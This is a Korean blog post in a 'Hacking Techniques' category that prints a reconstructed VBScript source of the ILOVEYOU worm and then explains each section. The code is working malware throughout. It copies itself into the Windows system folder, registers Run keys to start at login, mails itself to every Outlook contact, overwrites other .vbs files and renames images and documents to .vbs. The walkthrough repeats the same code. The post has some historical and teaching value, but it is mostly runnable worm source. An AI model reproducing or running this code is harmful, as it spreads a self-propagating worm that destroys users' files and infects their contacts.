Reviews/Hacking Techniques

💘 ILOVEYOU 바이러스 소스 코드

나무수피아 2025. 5. 21. 16:57
728x90
반응형
On Error Resume Next

Set fso = CreateObject("Scripting.FileSystemObject")
Set reg = CreateObject("WScript.Shell")
Set sysdir = reg.ExpandEnvironmentStrings("%SystemRoot%") & "\system\"

' 복사 및 레지스트리 등록
fso.CopyFile WScript.ScriptFullName, sysdir & "MSKernel32.vbs", True
fso.CopyFile WScript.ScriptFullName, sysdir & "WIN-BUGSFIX.vbs", True

reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", sysdir & "MSKernel32.vbs", "REG_SZ"
reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX", sysdir & "WIN-BUGSFIX.vbs", "REG_SZ"

' 감염된 이메일 발송
Set outlook = CreateObject("Outlook.Application")
If outlook = "Outlook" Then
    Set mapi = outlook.GetNameSpace("MAPI")
    For i = 1 To mapi.AddressLists.Count
        Set addrList = mapi.AddressLists(i)
        If addrList.AddressEntries.Count <> 0 Then
            For j = 1 To addrList.AddressEntries.Count
                Set mail = outlook.CreateItem(0)
                mail.To = addrList.AddressEntries(j)
                mail.Subject = "ILOVEYOU"
                mail.Body = "kindly check the attached LOVELETTER coming from me."
                mail.Attachments.Add(WScript.ScriptFullName)
                mail.Send
            Next
        End If
    Next
End If

' 확장자 위장 및 감염
Set folder = fso.GetFolder(fso.GetParentFolderName(WScript.ScriptFullName))
For Each file In folder.Files
    ext = LCase(fso.GetExtensionName(file.Name))
    Select Case ext
        Case "vbs"
            If file.Name <> fso.GetFileName(WScript.ScriptFullName) Then
                fso.DeleteFile file.Path, True
                fso.CopyFile WScript.ScriptFullName, file.Path, True
            End If
        Case "jpg", "jpeg", "mp3", "mp2", "css", "hta", "js", "jse", "vbe", "wsf", "wsh", "sct", "doc", "xls", "ppt"
            fso.MoveFile file.Path, file.Path & ".vbs"
    End Select
Next

 

🧠 전체 코드 문법 및 기능 해설

✅ 1. 에러 무시 설정

On Error Resume Next
  • VBScript에서 오류가 발생해도 실행을 계속하도록 설정합니다.
  • 악성코드가 실패 시 중단되지 않도록 하기 위한 회피 기술입니다.

✅ 2. 객체 생성 (FileSystemObject, Shell, 경로 설정)

Set fso = CreateObject("Scripting.FileSystemObject")
Set reg = CreateObject("WScript.Shell")
Set sysdir = reg.ExpandEnvironmentStrings("%SystemRoot%") & "\system\"
 
  • FileSystemObject: 파일을 읽고 쓰고 복사하고 삭제하는 객체
  • WScript.Shell: 윈도우 환경 변수, 레지스트리, 명령 실행 등을 제어
  • %SystemRoot%: 윈도우 시스템 폴더 (C:\Windows)를 참조
  • sysdir: 시스템 폴더 경로 완성 (C:\Windows\system\)

✅ 3. 악성 스크립트 복사 및 레지스트리 등록 (부팅 자동 실행)

fso.CopyFile WScript.ScriptFullName, sysdir & "MSKernel32.vbs", True
fso.CopyFile WScript.ScriptFullName, sysdir & "WIN-BUGSFIX.vbs", True

reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", sysdir & "MSKernel32.vbs", "REG_SZ"
reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX", sysdir & "WIN-BUGSFIX.vbs", "REG_SZ"
 
  • 현재 실행 중인 파일(WScript.ScriptFullName)을 시스템 폴더에 두 개의 이름으로 복사
  • 윈도우 시작 시 자동으로 실행되도록 레지스트리에 등록
  • "HKCU\Software\Microsoft\Windows\CurrentVersion\Run": 사용자 로그인 시 자동 실행되는 경로

✅ 4. Outlook 주소록을 활용한 이메일 전파

Set outlook = CreateObject("Outlook.Application")
If outlook = "Outlook" Then
    Set mapi = outlook.GetNameSpace("MAPI")
    For i = 1 To mapi.AddressLists.Count
        Set addrList = mapi.AddressLists(i)
        If addrList.AddressEntries.Count <> 0 Then
            For j = 1 To addrList.AddressEntries.Count
                Set mail = outlook.CreateItem(0)
                mail.To = addrList.AddressEntries(j)
                mail.Subject = "ILOVEYOU"
                mail.Body = "kindly check the attached LOVELETTER coming from me."
                mail.Attachments.Add(WScript.ScriptFullName)
                mail.Send
            Next
        End If
    Next
End If
 
  • Outlook을 자동 제어하기 위해 COM 객체로 인스턴스를 생성
  • 주소록을 순회하면서 각 주소에 메일을 보냄
  • 첨부 파일은 자신 (WScript.ScriptFullName)이며 제목은 "ILOVEYOU"

📝 문법 요소 설명

  • GetNameSpace("MAPI"): Outlook 메시징 API를 가져옴
  • CreateItem(0): 새로운 메일 객체 생성
  • Attachments.Add(...): 첨부파일 추가
  • mail.Send: 자동 전송

✅ 5. 감염 확산: 현재 폴더 내 파일들 반복 탐색

Set folder = fso.GetFolder(fso.GetParentFolderName(WScript.ScriptFullName))
For Each file In folder.Files
 
  • 현재 실행 파일이 있는 폴더를 기준으로 모든 파일 탐색

✅ 6. 확장자별 감염 처리

    ext = LCase(fso.GetExtensionName(file.Name))
    Select Case ext
        Case "vbs"
            If file.Name <> fso.GetFileName(WScript.ScriptFullName) Then
                fso.DeleteFile file.Path, True
                fso.CopyFile WScript.ScriptFullName, file.Path, True
            End If
        Case "jpg", "jpeg", "mp3", "mp2", "css", "hta", "js", "jse", "vbe", "wsf", "wsh", "sct", "doc", "xls", "ppt"
            fso.MoveFile file.Path, file.Path & ".vbs"
    End Select
Next
  • VBS 감염: 다른 VBS 파일이 있으면 삭제 후 자기 자신으로 교체
  • 다른 확장자 감염: .jpg, .mp3, .doc 등은 .vbs 확장자를 붙여 사용자가 클릭하도록 유도
    • 예: holiday.jpg → holiday.jpg.vbs (실제 실행은 VBS 스크립트)
728x90
반응형

'Reviews > Hacking Techniques' 카테고리의 다른 글

전화 시스템 해킹 (Phreaking) 기술  (16) 2025.05.11